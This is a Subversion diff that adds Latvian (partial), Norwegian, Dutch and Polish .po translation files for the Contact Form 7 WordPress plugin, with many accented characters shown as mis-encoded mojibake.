+msgid "Messages"
+msgstr "ZiÅas"
+
+#: contact-form-7/includes/admin-panel.php:201
+msgid "Sender's message was sent successfully"
+msgstr "SÅ«tÄ«tÄja ziÅa tika nosÅ«tÄ«ta veiksmÄ«gi"
+
+#: contact-form-7/includes/admin-panel.php:205
+msgid "Sender's message was failed to send"
+msgstr "SÅ«tÄ«tÄja ziÅu neizdevÄs nosÅ«tÄ«t"
+
+#: contact-form-7/includes/admin-panel.php:209
+msgid "Akismet judged the sending activity as spamming"
+msgstr "Akismet sÅ«tÄ«Å¡anas darbÄ«bu novÄrtÄja kÄ mÄstuÄŒoÅ¡anu"
+
+#: contact-form-7/includes/admin-panel.php:213
+msgid "Validation errors occurred"
+msgstr "AtgadÄ«jÄs apstiprinÄÅ¡anas kÄŒÅ«da"
+
+#: contact-form-7/includes/admin-panel.php:217
+msgid "There is a field that sender is needed to fill in"
+msgstr "Ir lauki, kuri sÅ«tÄ«tÄjam ir jÄaizpilda"
+
+#: contact-form-7/includes/admin-panel.php:221
+msgid "Email address that sender entered is invalid"
+msgstr "E-pasta adrese, kuru sÅ«tÄ«tÄjs ievadÄ«ja, ir nederÄ«ga"
+
+#: contact-form-7/includes/admin-panel.php:225
+msgid "There is a field of term that sender is needed to accept"
+msgstr "Ir lauki, kuri sÅ«tÄ«tÄjam ir jÄapstiprina"
+
+#: contact-form-7/includes/admin-panel.php:229
+msgid "Sender doesn't enter the correct answer to the quiz"
+msgstr "SÅ«tÄ«tÄjs ir nepareizi atbildÄjis uz viktorÄ«nas jautÄjumu"
+
+#: contact-form-7/includes/admin-panel.php:233
+msgid "The code that sender entered does not match the CAPTCHA"
+msgstr "Kods, kuru sÅ«tÄ«tÄjs ievadÄ«ja, neatbilst CAPTCHA"
+
+#: contact-form-7/includes/admin-panel.php:237
+msgid "Uploading a file fails for any reason"
+msgstr "Faila augÅ¡upielÄde neizdevÄs"
+
+#: contact-form-7/includes/admin-panel.php:241
+msgid "Uploaded file is not allowed file type"
+msgstr "AugÅ¡upielÄdÄtais fails ir neatÄŒautais faila veids"
+
+#: contact-form-7/includes/admin-panel.php:245
+msgid "Uploaded file is too large"
+msgstr "AugÅ¡upielÄdÄtais fails ir pÄrÄk liels"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-nb_NO.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-nb_NO.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-nb_NO.po	(revision 44)
@@ -0,0 +1,266 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Contact Form 7\n"
+"POT-Creation-Date: \n"
+"PO-Revision-Date: 2007-10-25 10:57+0900\n"
+"Last-Translator: Takayuki Miyoshi <takayukister@gmail.com>\n"
+"Language-Team: Kjetil M. Bergem\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=utf-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-SourceCharset: utf-8\n"
+"X-Poedit-KeywordsList: __;_e\n"
+"X-Poedit-Basepath: ../..\n"
+"X-Poedit-Language: Norwegian Bokmal\n"
+"X-Poedit-Country: NORWAY\n"
+"X-Poedit-SearchPath-0: contact-form-7\n"
+
+#: contact-form-7/wp-contact-form-7.php:238
+msgid "Contact form"
+msgstr "Kontaktskjema"
+
+#: contact-form-7/wp-contact-form-7.php:323
+#: contact-form-7/includes/admin-panel.php:5
+msgid "Contact Form 7"
+msgstr "Kontaktskjema 7"
+
+#: contact-form-7/wp-contact-form-7.php:339
+msgid "optional"
+msgstr "valgfri"
+
+#: contact-form-7/wp-contact-form-7.php:340
+msgid "Generate Tag"
+msgstr "Lag stikkord"
+
+#: contact-form-7/wp-contact-form-7.php:341
+msgid "Text field"
+msgstr "Tekstfelt"
+
+#: contact-form-7/wp-contact-form-7.php:342
+msgid "Email field"
+msgstr "Epostfelt"
+
+#: contact-form-7/wp-contact-form-7.php:343
+msgid "Text area"
+msgstr "Tekstboks"
+
+#: contact-form-7/wp-contact-form-7.php:344
+msgid "Drop-down menu"
+msgstr "Gardinvalg meny"
+
+#: contact-form-7/wp-contact-form-7.php:345
+msgid "CAPTCHA"
+msgstr "CAPTCHA"
+
+#: contact-form-7/wp-contact-form-7.php:346
+msgid "Submit button"
+msgstr "Send knapp"
+
+#: contact-form-7/wp-contact-form-7.php:347
+msgid "Name"
+msgstr "Navn"
+
+#: contact-form-7/wp-contact-form-7.php:348
+msgid "Required field?"
+msgstr "NÂ¿dvendige felt?"
+
+#: contact-form-7/wp-contact-form-7.php:349
+msgid "Choices"
+msgstr "Valg"
+
+#: contact-form-7/wp-contact-form-7.php:350
+msgid "Label"
+msgstr "Merknad"
+
+#: contact-form-7/wp-contact-form-7.php:351
+msgid "Default value"
+msgstr "Standardvalg"
+
+#: contact-form-7/wp-contact-form-7.php:352
+msgid "Akismet"
+msgstr "Akismet"
+
+#: contact-form-7/wp-contact-form-7.php:353
+msgid "This field requires author's name"
+msgstr "Personen mÅ skrive inn sitt navn"
+
+#: contact-form-7/wp-contact-form-7.php:354
+msgid "This field requires author's URL"
+msgstr "Personen mÅ skrive inn sin nettsideadresse"
+
+#: contact-form-7/wp-contact-form-7.php:355
+msgid "This field requires author's email address"
+msgstr "Personen mÅ skrive inn sin epostadresse"
+
+#: contact-form-7/wp-contact-form-7.php:356
+msgid "Copy and paste this code into the form"
+msgstr "Kopier og lim inn denne koden i skjemaet"
+
+#: contact-form-7/wp-contact-form-7.php:357
+msgid "Foreground color"
+msgstr "Forgrunnsfarge"
+
+#: contact-form-7/wp-contact-form-7.php:358
+msgid "Background color"
+msgstr "Bakgrunnsfarge"
+
+#: contact-form-7/wp-contact-form-7.php:359
+msgid "Image size"
+msgstr "BildestÂ¿rrelse"
+
+#: contact-form-7/wp-contact-form-7.php:360
+msgid "Small"
+msgstr "Liten"
+
+#: contact-form-7/wp-contact-form-7.php:361
+msgid "Medium"
+msgstr "Medium"
+
+#: contact-form-7/wp-contact-form-7.php:362
+msgid "Large"
+msgstr "Stor"
+
+#: contact-form-7/wp-contact-form-7.php:363
+msgid "Image settings"
+msgstr "Bildeinnstillinger"
+
+#: contact-form-7/wp-contact-form-7.php:364
+msgid "Input field settings"
+msgstr "Innstillinger til skjemafeltet"
+
+#: contact-form-7/wp-contact-form-7.php:365
+msgid "For image"
+msgstr "For bildet"
+
+#: contact-form-7/wp-contact-form-7.php:366
+msgid "For input field"
+msgstr "For skjemafeltet"
+
+#: contact-form-7/wp-contact-form-7.php:367
+msgid "* One choice per line."
+msgstr "* Ett valg per linje."
+
+#: contact-form-7/wp-contact-form-7.php:386
+msgid "Contact form created."
+msgstr "Kontaktskjemaet ble laget."
+
+#: contact-form-7/wp-contact-form-7.php:389
+msgid "Contact form saved."
+msgstr "Kontaktskjemaet ble lagret."
+
+#: contact-form-7/wp-contact-form-7.php:392
+msgid "Contact form deleted."
+msgstr "Kontaktskjemaet ble slettet."
+
+#: contact-form-7/wp-contact-form-7.php:399
+msgid "Untitled"
+msgstr "Uten tittel"
+
+#: contact-form-7/wp-contact-form-7.php:423
+msgid "Your Name"
+msgstr "Ditt navn"
+
+#: contact-form-7/wp-contact-form-7.php:423
+#: contact-form-7/wp-contact-form-7.php:425
+msgid "(required)"
+msgstr "(nÂ¿dvendig)"
+
+#: contact-form-7/wp-contact-form-7.php:425
+msgid "Your Email"
+msgstr "Din epost"
+
+#: contact-form-7/wp-contact-form-7.php:427
+msgid "Subject"
+msgstr "Emne"
+
+#: contact-form-7/wp-contact-form-7.php:429
+msgid "Your Message"
+msgstr "Din beskjed"
+
+#: contact-form-7/wp-contact-form-7.php:431
+#: contact-form-7/wp-contact-form-7.php:813
+msgid "Send"
+msgstr "Send"
+
+#: contact-form-7/wp-contact-form-7.php:460
+msgid "Your message was sent successfully. Thanks."
+msgstr "Din beskjed ble sent. Takk skal du ha."
+
+#: contact-form-7/wp-contact-form-7.php:462
+msgid "Failed to send your message. Please try later or contact administrator by other way."
+msgstr "Beskjeden ble ikke sent. PrÂ¿v igjen senere eller kontakt administratorer pÅ en annen mÅte. "
+
+#: contact-form-7/wp-contact-form-7.php:464
+msgid "Validation errors occurred. Please confirm the fields and submit it again."
+msgstr "Flere skjemafeil ble oppdaget. Vennligst fyll inn feltene og prÂ¿v Å sende igjen."
+
+#: contact-form-7/wp-contact-form-7.php:466
+msgid "Email address seems invalid."
+msgstr "Epostadressen virket ugyldig."
+
+#: contact-form-7/wp-contact-form-7.php:468
+msgid "Please fill the required field."
+msgstr "Vennligst fyll inn de nÂ¿dvendige feltene."
+
+#: contact-form-7/wp-contact-form-7.php:470
+msgid "Your entered code is incorrect."
+msgstr "Koden du skrev inn var ikke riktig."
+
+#: contact-form-7/includes/admin-panel.php:15
+msgid "Add new"
+msgstr "Legg til ny"
+
+#: contact-form-7/includes/admin-panel.php:28
+msgid "Copy and paste this code into your post content."
+msgstr "Kopier og lim inn denne koden i innholdsfeltet i posten din."
+
+#: contact-form-7/includes/admin-panel.php:33
+msgid "Form"
+msgstr "Skjema"
+
+#: contact-form-7/includes/admin-panel.php:37
+msgid "Mail"
+msgstr "Epost"
+
+#: contact-form-7/includes/admin-panel.php:39
+#: contact-form-7/includes/admin-panel.php:60
+msgid "To:"
+msgstr "Til:"
+
+#: contact-form-7/includes/admin-panel.php:43
+#: contact-form-7/includes/admin-panel.php:64
+msgid "From:"
+msgstr "Fra:"
+
+#: contact-form-7/includes/admin-panel.php:47
+#: contact-form-7/includes/admin-panel.php:68
+msgid "Subject:"
+msgstr "Emne:"
+
+#: contact-form-7/includes/admin-panel.php:51
+#: contact-form-7/includes/admin-panel.php:72
+msgid "Message body:"
+msgstr "Beskjed:"
+
+#: contact-form-7/includes/admin-panel.php:56
+msgid "Mail (2)"
+msgstr "Epost (2)"
+
+#: contact-form-7/includes/admin-panel.php:58
+msgid "Use mail (2)"
+msgstr "Bruk epost (2)"
+
+#: contact-form-7/includes/admin-panel.php:80
+msgid "Save"
+msgstr "Lagre"
+
+#: contact-form-7/includes/admin-panel.php:86
+msgid "Delete this contact form"
+msgstr "Slett dette kontaktskjemaet"
+
+#: contact-form-7/includes/admin-panel.php:87
+msgid ""
+"You are about to delete this contact form.\n"
+"  'Cancel' to stop, 'OK' to delete."
+msgstr "Du holder pÅ Å slette dette kontaktskjemaet. Trykk 'Avbryt' for Å stoppe, 'OK' for Å slette."
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-nl_NL.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-nl_NL.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-nl_NL.po	(revision 44)
@@ -0,0 +1,469 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Contact Form 7 Nederlandse vertaling\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-05-31 23:05+0900\n"
+"PO-Revision-Date: \n"
+"Last-Translator: Martin Hein <martin@split-a-pixel.nl>\n"
+"Language-Team: Martin Hein <martin@split-a-pixel.nl>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Dutch\n"
+"X-Poedit-Country: Netherlands\n"
+"X-Poedit-SourceCharset: utf-8\n"
+"X-Poedit-KeywordsList: __\n"
+
+#: contact-form-7/wp-contact-form-7.php:373
+msgid "Contact form"
+msgstr "Contactformulier"
+
+#: contact-form-7/admin/admin-panel.php:6
+#: contact-form-7/admin/admin.php:111
+msgid "Contact Form 7"
+msgstr "Contact Form 7"
+
+#: contact-form-7/admin/admin-panel.php:21
+msgid "Add new"
+msgstr "Nieuwe toevoegen"
+
+#: contact-form-7/admin/admin-panel.php:43
+msgid "Copy this code and paste it into your post, page or text widget content."
+msgstr "Kopieer deze code en plak hem in de inhoud van je bericht, pagina of widget."
+
+#: contact-form-7/admin/admin-panel.php:50
+#: contact-form-7/admin/admin-panel.php:290
+msgid "Save"
+msgstr "Opslaan"
+
+#: contact-form-7/admin/admin-panel.php:57
+msgid "Copy"
+msgstr "Kopieren"
+
+#: contact-form-7/admin/admin-panel.php:61
+msgid "Delete"
+msgstr "Verwijderen"
+
+#: contact-form-7/admin/admin-panel.php:63
+msgid ""
+"You are about to delete this contact form.\n"
+"  'Cancel' to stop, 'OK' to delete."
+msgstr ""
+"Je staat op het punt dit contactformulier te verwijderen.\n"
+"  'Cancel' om te stoppen, 'OK' om te verwijderen."
+
+#: contact-form-7/admin/admin-panel.php:78
+msgid "Form"
+msgstr "Formulier"
+
+#: contact-form-7/admin/admin-panel.php:98
+msgid "Mail"
+msgstr "Mail"
+
+#: contact-form-7/admin/admin-panel.php:105
+#: contact-form-7/admin/admin-panel.php:161
+msgid "To:"
+msgstr "Aan:"
+
+#: contact-form-7/admin/admin-panel.php:109
+#: contact-form-7/admin/admin-panel.php:165
+msgid "From:"
+msgstr "Van:"
+
+#: contact-form-7/admin/admin-panel.php:113
+#: contact-form-7/admin/admin-panel.php:169
+msgid "Subject:"
+msgstr "Onderwerp:"
+
+#: contact-form-7/admin/admin-panel.php:118
+#: contact-form-7/admin/admin-panel.php:174
+msgid "Additional headers:"
+msgstr "Aanvullende headers:"
+
+#: contact-form-7/admin/admin-panel.php:122
+#: contact-form-7/admin/admin-panel.php:178
+msgid "File attachments:"
+msgstr "Bestandsbijlages:"
+
+#: contact-form-7/admin/admin-panel.php:124
+#: contact-form-7/admin/admin-panel.php:180
+msgid "(You need WordPress 2.7 or greater to use this feature)"
+msgstr "(Je hebt Wordpress 2.7 of nieuwer nodig om dit gereedschap te gebruiken)"
+
+#: contact-form-7/admin/admin-panel.php:132
+#: contact-form-7/admin/admin-panel.php:188
+msgid "Use HTML content type"
+msgstr "HTML indeling gebruiken"
+
+#: contact-form-7/admin/admin-panel.php:137
+#: contact-form-7/admin/admin-panel.php:193
+msgid "Message body:"
+msgstr "Berichttekst:"
+
+#: contact-form-7/admin/admin-panel.php:148
+msgid "Mail (2)"
+msgstr "Mail (2)"
+
+#: contact-form-7/admin/admin-panel.php:155
+msgid "Use mail (2)"
+msgstr "Mail gebruiken (2)"
+
+#: contact-form-7/admin/admin-panel.php:204
+msgid "Messages"
+msgstr "Berichten"
+
+#: contact-form-7/admin/admin-panel.php:212
+msgid "Sender's message was sent successfully"
+msgstr "Het te zenden bericht werd succesvol verstuurd"
+
+#: contact-form-7/admin/admin-panel.php:216
+msgid "Sender's message was failed to send"
+msgstr "Het bericht kon niet worden verstuurd"
+
+#: contact-form-7/admin/admin-panel.php:220
+msgid "Akismet judged the sending activity as spamming"
+msgstr "Aksimet heeft de verzendactiviteit als spam beoordeeld"
+
+#: contact-form-7/admin/admin-panel.php:224
+msgid "Validation errors occurred"
+msgstr "Validatiefout opgetreden"
+
+#: contact-form-7/admin/admin-panel.php:228
+msgid "There is a field that sender is needed to fill in"
+msgstr "Er is een veld dat door de verzender moet worden ingevuld"
+
+#: contact-form-7/admin/admin-panel.php:232
+msgid "Email address that sender entered is invalid"
+msgstr "Het ingevulde email adres is ongeldig"
+
+#: contact-form-7/admin/admin-panel.php:236
+msgid "There is a field of term that sender is needed to accept"
+msgstr "Er is een voorwaardenveld dat moet worden geaccepteerd"
+
+#: contact-form-7/admin/admin-panel.php:240
+msgid "Sender doesn't enter the correct answer to the quiz"
+msgstr "Er is geen juist antwoord voor de quiz ingevuld"
+
+#: contact-form-7/admin/admin-panel.php:244
+msgid "The code that sender entered does not match the CAPTCHA"
+msgstr "De ingevulde verificatiecode komt niet overeen met de CAPTCHA"
+
+#: contact-form-7/admin/admin-panel.php:248
+msgid "Uploading a file fails for any reason"
+msgstr "Het uploaden van het bestand is mislukt"
+
+#: contact-form-7/admin/admin-panel.php:252
+msgid "Uploaded file is not allowed file type"
+msgstr "Het up te loaden bestand heeft een ongeldige extensie"
+
+#: contact-form-7/admin/admin-panel.php:256
+msgid "Uploaded file is too large"
+msgstr "Het up te loaden bestand is te groot"
+
+#: contact-form-7/admin/admin-panel.php:269
+msgid "Additional Settings"
+msgstr "Aanvullende instellingen"
+
+#: contact-form-7/admin/admin.php:157
+msgid "optional"
+msgstr "optioneel"
+
+#: contact-form-7/admin/admin.php:158
+msgid "Generate Tag"
+msgstr "Tag aanmaken"
+
+#: contact-form-7/admin/admin.php:159
+msgid "Text field"
+msgstr "Tekstveld"
+
+#: contact-form-7/admin/admin.php:160
+msgid "Email field"
+msgstr "Email veld"
+
+#: contact-form-7/admin/admin.php:161
+msgid "Text area"
+msgstr "Tekstgebied"
+
+#: contact-form-7/admin/admin.php:162
+msgid "Drop-down menu"
+msgstr "Keuzemenu"
+
+#: contact-form-7/admin/admin.php:163
+msgid "Checkboxes"
+msgstr "Keuzevakjes"
+
+#: contact-form-7/admin/admin.php:164
+msgid "Radio buttons"
+msgstr "Keuzerondjes"
+
+#: contact-form-7/admin/admin.php:165
+msgid "Acceptance"
+msgstr "Acceptatie"
+
+#: contact-form-7/admin/admin.php:166
+msgid "Make this checkbox checked by default?"
+msgstr "Aanvinkvakje standaard aanvinken?"
+
+#: contact-form-7/admin/admin.php:167
+msgid "Make this checkbox work inversely?"
+msgstr "Aanvinkvakje omgekeerd laten werken?"
+
+#: contact-form-7/admin/admin.php:168
+msgid "* That means visitor who accepts the term unchecks it."
+msgstr "* Dit betekent dat de bezoeker het vakje moet uitvinken om de voorwaarden te accepteren."
+
+#: contact-form-7/admin/admin.php:169
+msgid "CAPTCHA"
+msgstr "CAPTCHA"
+
+#: contact-form-7/admin/admin.php:170
+msgid "Quiz"
+msgstr "Kwis"
+
+#: contact-form-7/admin/admin.php:171
+msgid "Quizzes"
+msgstr "Kwissen"
+
+#: contact-form-7/admin/admin.php:172
+msgid "* quiz|answer (e.g. 1+1=?|2)"
+msgstr "* quiz|antwoord (bijv. 1+1=?|2)"
+
+#: contact-form-7/admin/admin.php:173
+msgid "File upload"
+msgstr "Upload bestand"
+
+#: contact-form-7/admin/admin.php:174
+msgid "bytes"
+msgstr "bytes"
+
+#: contact-form-7/admin/admin.php:175
+msgid "Submit button"
+msgstr "Verzendknop"
+
+#: contact-form-7/admin/admin.php:176
+msgid "Name"
+msgstr "Naam"
+
+#: contact-form-7/admin/admin.php:177
+msgid "Required field?"
+msgstr "Verplicht veld?"
+
+#: contact-form-7/admin/admin.php:178
+msgid "Allow multiple selections?"
+msgstr "Meerdere selecties toestaan?"
+
+#: contact-form-7/admin/admin.php:179
+msgid "Insert a blank item as the first option?"
+msgstr "Een leeg item als eerste optie invoegen?"
+
+#: contact-form-7/admin/admin.php:180
+msgid "Make checkboxes exclusive?"
+msgstr "Keuzevakjes exclusief maken?"
+
+#: contact-form-7/admin/admin.php:181
+msgid "Choices"
+msgstr "Keuzes"
+
+#: contact-form-7/admin/admin.php:182
+msgid "Label"
+msgstr "Label"
+
+#: contact-form-7/admin/admin.php:183
+msgid "Default value"
+msgstr "Standaard waarde"
+
+#: contact-form-7/admin/admin.php:184
+msgid "Akismet"
+msgstr "Akismet"
+
+#: contact-form-7/admin/admin.php:185
+msgid "This field requires author's name"
+msgstr "Dti veld vereist de naam van de auteur"
+
+#: contact-form-7/admin/admin.php:186
+msgid "This field requires author's URL"
+msgstr "Dit veld vereist de URL van de auteur"
+
+#: contact-form-7/admin/admin.php:187
+msgid "This field requires author's email address"
+msgstr "Voor dit veld is het email adres vereist"
+
+#: contact-form-7/admin/admin.php:188
+msgid "Copy this code and paste it into the form left."
+msgstr "Kopieer deze code en plak hem in het formulier aan de linkerzijde."
+
+#: contact-form-7/admin/admin.php:189
+msgid "Foreground color"
+msgstr "Voorgrond kleur"
+
+#: contact-form-7/admin/admin.php:190
+msgid "Background color"
+msgstr "Achtergrondkleur"
+
+#: contact-form-7/admin/admin.php:191
+msgid "Image size"
+msgstr "Grootte afbeelding"
+
+#: contact-form-7/admin/admin.php:192
+msgid "Small"
+msgstr "Klein"
+
+#: contact-form-7/admin/admin.php:193
+msgid "Medium"
+msgstr "Gemiddeld"
+
+#: contact-form-7/admin/admin.php:194
+msgid "Large"
+msgstr "Groot"
+
+#: contact-form-7/admin/admin.php:195
+msgid "Image settings"
+msgstr "Instellingen afbeelding"
+
+#: contact-form-7/admin/admin.php:196
+msgid "Input field settings"
+msgstr "Instellingen invulveld"
+
+#: contact-form-7/admin/admin.php:197
+msgid "For image"
+msgstr "Voor afbeelding"
+
+#: contact-form-7/admin/admin.php:198
+msgid "For input field"
+msgstr "Voor invulveld"
+
+#: contact-form-7/admin/admin.php:199
+msgid "* One choice per line."
+msgstr "* EÃ©n keuze per regel"
+
+#: contact-form-7/admin/admin.php:200
+msgid "Show"
+msgstr "Laten zien"
+
+#: contact-form-7/admin/admin.php:201
+msgid "Hide"
+msgstr "Verbergen"
+
+#: contact-form-7/admin/admin.php:202
+msgid "File size limit"
+msgstr "Maximale bestandsgrootte"
+
+#: contact-form-7/admin/admin.php:203
+msgid "Acceptable file types"
+msgstr "Toegelaten bestandstypes"
+
+#: contact-form-7/admin/admin.php:204
+msgid "Note: To use CAPTCHA, you need Really Simple CAPTCHA plugin installed."
+msgstr "Let op: Om CAPTCHA te gebruiken moet de Really Simple CAPTCHA plugin geinstalleerd zijn."
+
+#: contact-form-7/admin/admin.php:223
+msgid "Contact form created."
+msgstr "Contactformulier aangemaakt."
+
+#: contact-form-7/admin/admin.php:226
+msgid "Contact form saved."
+msgstr "Contactformulier opgeslagen."
+
+#: contact-form-7/admin/admin.php:229
+msgid "Contact form deleted."
+msgstr "Contactformulier verwijderd."
+
+#: contact-form-7/admin/admin.php:240
+msgid "Untitled"
+msgstr "Zonder titel."
+
+#: contact-form-7/admin/admin.php:253
+msgid "Your Name"
+msgstr "Uw naam"
+
+#: contact-form-7/admin/admin.php:253
+#: contact-form-7/admin/admin.php:255
+msgid "(required)"
+msgstr "(verplicht)"
+
+#: contact-form-7/admin/admin.php:255
+msgid "Your Email"
+msgstr "Uw email"
+
+#: contact-form-7/admin/admin.php:257
+msgid "Subject"
+msgstr "Onderwerp"
+
+#: contact-form-7/admin/admin.php:259
+msgid "Your Message"
+msgstr "Uw bericht"
+
+#: contact-form-7/admin/admin.php:261
+#: contact-form-7/includes/classes.php:411
+msgid "Send"
+msgstr "Verzenden"
+
+#: contact-form-7/admin/admin.php:334
+msgid "Settings"
+msgstr "Instellingen"
+
+#: contact-form-7/admin/admin.php:355
+msgid "Contact Form 7 needs your support. Please donate today."
+msgstr "Contact Form 7 heeft jouw steun nodig. Doneer vandaag nog."
+
+#: contact-form-7/admin/admin.php:356
+msgid "Is this plugin useful for you? If you like it, please help the developer."
+msgstr "Komt deze plugin jou van pas? Help de ontwikkelaar."
+
+#: contact-form-7/admin/admin.php:357
+msgid "Your contribution is needed for making this plugin better."
+msgstr "Jouw bijdrage is nodig voor het verbeteren van deze plugin."
+
+#: contact-form-7/admin/admin.php:358
+msgid "Developing a plugin and providing user support is really hard work. Please help."
+msgstr "Het ontwikkelen van een plugin en leveren van ondersteuning is veel werk. Help mee."
+
+#: contact-form-7/includes/classes.php:352
+msgid "To use CAPTCHA, you need <a href=\"http://wordpress.org/extend/plugins/really-simple-captcha/\">Really Simple CAPTCHA</a> plugin installed."
+msgstr "Om CAPTCHA te gebruiken moet je de <a href=\"http://wordpress.org/extend/plugins/really-simple-captcha/\">Really Simple CAPTCHA</a> plugin geinstalleerd hebben."
+
+#: contact-form-7/includes/functions.php:6
+msgid "Your message was sent successfully. Thanks."
+msgstr "Uw bericht werd succesvol verzonden."
+
+#: contact-form-7/includes/functions.php:8
+#: contact-form-7/includes/functions.php:10
+msgid "Failed to send your message. Please try later or contact administrator by other way."
+msgstr "Het is niet gelukt uw bericht te verzenden. Probeer het later nog een keer of neem op een andere manier contact op."
+
+#: contact-form-7/includes/functions.php:12
+msgid "Validation errors occurred. Please confirm the fields and submit it again."
+msgstr "Validatiefouten opgetreden. Controleer de velden en druk nogmaals op verzend."
+
+#: contact-form-7/includes/functions.php:14
+msgid "Please accept the terms to proceed."
+msgstr "Aanvaard de voorwaarden om door te gaan."
+
+#: contact-form-7/includes/functions.php:16
+msgid "Email address seems invalid."
+msgstr "Het email adres lijkt ongeldig te zijn."
+
+#: contact-form-7/includes/functions.php:18
+msgid "Please fill the required field."
+msgstr "Vul aub het verplichte veld in."
+
+#: contact-form-7/includes/functions.php:20
+msgid "Your entered code is incorrect."
+msgstr "De ingevulde code is onjuist."
+
+#: contact-form-7/includes/functions.php:22
+msgid "Your answer is not correct."
+msgstr "Uw antwoord is niet juist."
+
+#: contact-form-7/includes/functions.php:24
+msgid "Failed to upload file."
+msgstr "Uploaden van het bestand mislukt"
+
+#: contact-form-7/includes/functions.php:26
+msgid "This file type is not allowed."
+msgstr "Dit bestandstype is niet toegestaan"
+
+#: contact-form-7/includes/functions.php:28
+msgid "This file is too large."
+msgstr "Dit bestand is te groot"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-pl_PL.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-pl_PL.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-pl_PL.po	(revision 44)
@@ -0,0 +1,513 @@
+# translation of wpcf7.po to Polish
+# Zbigniew Czernik <czernik@tlen.pl>, 2007.
+msgid ""
+msgstr ""
+"Project-Id-Version: wpcf7\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-08-01 06:43+0900\n"
+"PO-Revision-Date: 2009-08-24 13:40+0100\n"
+"Last-Translator: Daniel FruÅŒyÅski <daniel [A-T] poradnik-webmastera.com>\n"
+"Language-Team: Polish <pl@li.org>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-SourceCharset: utf-8\n"
+"X-Poedit-KeywordsList: __;_e\n"
+"X-Poedit-Basepath: ../..\n"
+"X-Generator: KBabel 1.11.4\n"
+"X-Poedit-SearchPath-0: contact-form-7\n"
+
+#: contact-form-7/admin/admin-panel.php:9
+#, php-format
+msgid "<strong>The database table for Contact Form 7 does not exist.</strong> You must <a href=\"%s\">create the table</a> for it to work."
+msgstr "<strong>Tabela w bazie danych dla pluginu Contact Form 7 nie istnieje.</strong> Musisz <a href=\"%s\">utworzyÄ tabelÄ</a> aby mÃ³gÅ on pracowaÄ."
+
+#: contact-form-7/admin/admin-panel.php:12
+msgid "<strong>The database table for Contact Form 7 does not exist.</strong>"
+msgstr "<strong>Tabela w bazie danych dla pluginu Contact Form 7 nie istnieje.</strong>"
+
+#: contact-form-7/admin/admin-panel.php:17
+#: contact-form-7/admin/admin-panel.php:30
+#: contact-form-7/admin/admin.php:118
+msgid "Contact Form 7"
+msgstr "Contact Form 7"
+
+#: contact-form-7/admin/admin-panel.php:45
+msgid "Add new"
+msgstr "Dodaj nowy"
+
+#: contact-form-7/admin/admin-panel.php:67
+msgid "Copy this code and paste it into your post, page or text widget content."
+msgstr "Skopiuj i wklej ten kod w treÅci posta, strony lub widgetu Tekst."
+
+#: contact-form-7/admin/admin-panel.php:75
+#: contact-form-7/admin/admin-panel.php:327
+msgid "Save"
+msgstr "Zapisz"
+
+#: contact-form-7/admin/admin-panel.php:82
+msgid "Copy"
+msgstr "Kopiuj"
+
+#: contact-form-7/admin/admin-panel.php:87
+msgid "Delete"
+msgstr "UsuÅ"
+
+#: contact-form-7/admin/admin-panel.php:89
+msgid ""
+"You are about to delete this contact form.\n"
+"  'Cancel' to stop, 'OK' to delete."
+msgstr ""
+"WybraÅeÅ usuniÄcie tego formularza.\n"
+"  'Cancel' aby anulowaÄ, 'OK' aby usunÄ
+Ä."
+
+#: contact-form-7/admin/admin-panel.php:102
+msgid "Form"
+msgstr "Formularz"
+
+#: contact-form-7/admin/admin-panel.php:120
+msgid "Mail"
+msgstr "E-mail"
+
+#: contact-form-7/admin/admin-panel.php:127
+#: contact-form-7/admin/admin-panel.php:188
+msgid "To:"
+msgstr "Do:"
+
+#: contact-form-7/admin/admin-panel.php:132
+#: contact-form-7/admin/admin-panel.php:193
+msgid "From:"
+msgstr "Od:"
+
+#: contact-form-7/admin/admin-panel.php:137
+#: contact-form-7/admin/admin-panel.php:198
+msgid "Subject:"
+msgstr "Temat:"
+
+#: contact-form-7/admin/admin-panel.php:144
+#: contact-form-7/admin/admin-panel.php:205
+msgid "Additional headers:"
+msgstr "Dodatkowe nagÅÃ³wki:"
+
+#: contact-form-7/admin/admin-panel.php:149
+#: contact-form-7/admin/admin-panel.php:210
+msgid "File attachments:"
+msgstr "ZaÅÄ
+czone pliki:"
+
+#: contact-form-7/admin/admin-panel.php:157
+#: contact-form-7/admin/admin-panel.php:218
+msgid "Use HTML content type"
+msgstr "UÅŒyj HTML jako typu zawartoÅci"
+
+#: contact-form-7/admin/admin-panel.php:164
+#: contact-form-7/admin/admin-panel.php:225
+msgid "Message body:"
+msgstr "TreÅÄ wiadomoÅci:"
+
+#: contact-form-7/admin/admin-panel.php:174
+msgid "Mail (2)"
+msgstr "E-mail (2)"
+
+#: contact-form-7/admin/admin-panel.php:180
+msgid "Use mail (2)"
+msgstr "UÅŒyj adresu (2)"
+
+#: contact-form-7/admin/admin-panel.php:235
+msgid "Messages"
+msgstr "WiadomoÅci"
+
+#: contact-form-7/admin/admin-panel.php:243
+msgid "Sender's message was sent successfully"
+msgstr "Twoja wiadomoÅÄ zostaÅ wysÅana pomyÅlnie"
+
